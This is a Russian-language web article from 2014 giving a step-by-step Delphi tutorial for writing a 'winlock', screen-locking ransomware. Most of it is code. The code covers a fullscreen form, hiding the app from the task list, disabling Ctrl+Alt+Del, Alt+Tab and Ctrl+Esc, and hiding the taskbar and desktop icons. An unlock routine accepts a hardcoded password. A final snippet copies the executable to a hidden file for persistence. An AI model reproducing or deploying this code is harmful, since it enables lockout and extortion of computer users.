 |
 |
         |
 |
     |
 |
|
· Новостей: 37
· Статей: 93
· Файлов: 52
· Изображений: 0
· Ссылок: 0
· Темы форума: 0
· Сообщений на форуме: 0
· Пользователей: 1549
· Комментарии: 507
|
Иерархия статей |
| Статьи » Мои статьи » winlock (delphi) |
| winlock (delphi) |
 Чтобы написать данную программу нужно: 1. Delphi. 2. 2 руки. 3. Голова. 4. 500 рублей (которые в конце урока вы отошлёте мне) Запускаем Delphi, кидаем на форму TImage (Чтобы загрузить картинку блокиратора) TEdit, TButton. Начинаем кодинг! Код: procedure TForm1.CreateParams(var T : TCreateParams); begin inherited Createparams(T); with T do Style := (Style or WS_POPUP) and not WS_DLGFRAME; end; Выше написанный код, не обязателен. Создаем событие OnActivate у Form1. Пишем это: Код: procedure TForm1.FormActivate(Sender: TObject); var hTaskBar : THandle; begin Edit1.Clear; //исключаем из списка ALT+CTRL+DEL ShowWindow (Application.handle, SW_HIDE); //Размер формы:=Размеру Экрана form1.Height:=screen.Height; form1.Width:=screen.Width; //Отключаем ALT+CTRL+DEl ALT+TAB CTRL+ESC SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0); //Убираем Панель задач hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil); ShowWindow(hTaskBar, SW_HIDE); //Убираем Иконки с рабочего стола ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE); end; Ставим вводные символы в TEdit под звездочки. Код: procedure TForm1.Edit1Change(Sender: TObject); begin Edit1.PasswordChar:=’*'; end; Можно конечно в Object Inspector выставить данный параметр, но буду придерживаться оригинальной статье. Код: procedure TForm1.Button1Click(Sender: TObject); var hTaskBar : THandle; Password:string[10]; begin Password:=edit1.text; If (Password=’grabberz.com?) then begin //включаем alt+ctrl+del alt+tab ctrl+esc SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0); //Показываем иконки на рабочем столе ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW); //Показываем Панель Задач hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil); ShowWindow(hTaskBar, SW_SHOWNORMAL); //Закрываем прогу Close; end Делаем проверку на правильность пароля: Код: else begin Messagedlg(‘Неверный пасс для разблокировки… введите коректный пасс…’,mterror,[mbok],0); Edit1.Clear; end; Все. Как пишет автор оригинальной статьи, чтобы добавить программу в автозагрузку надо пользоваться этим: Код: CopyFile(PChar(ParamStr(0)), PChar('C:\'+ 'название винлока (любое название).exe'),True); SetFileAttributes('C:\название винлока (любое название).exe', faHidden); Автор статьи не я, я лишь исправил некоторые вещи, и исправил текст. Ответственности за код не несу. |
· Опубликовал putinpe
August 02 2014
В Мои статьи · 5074 Прочтений ·
|
Рейтинг |
|
 |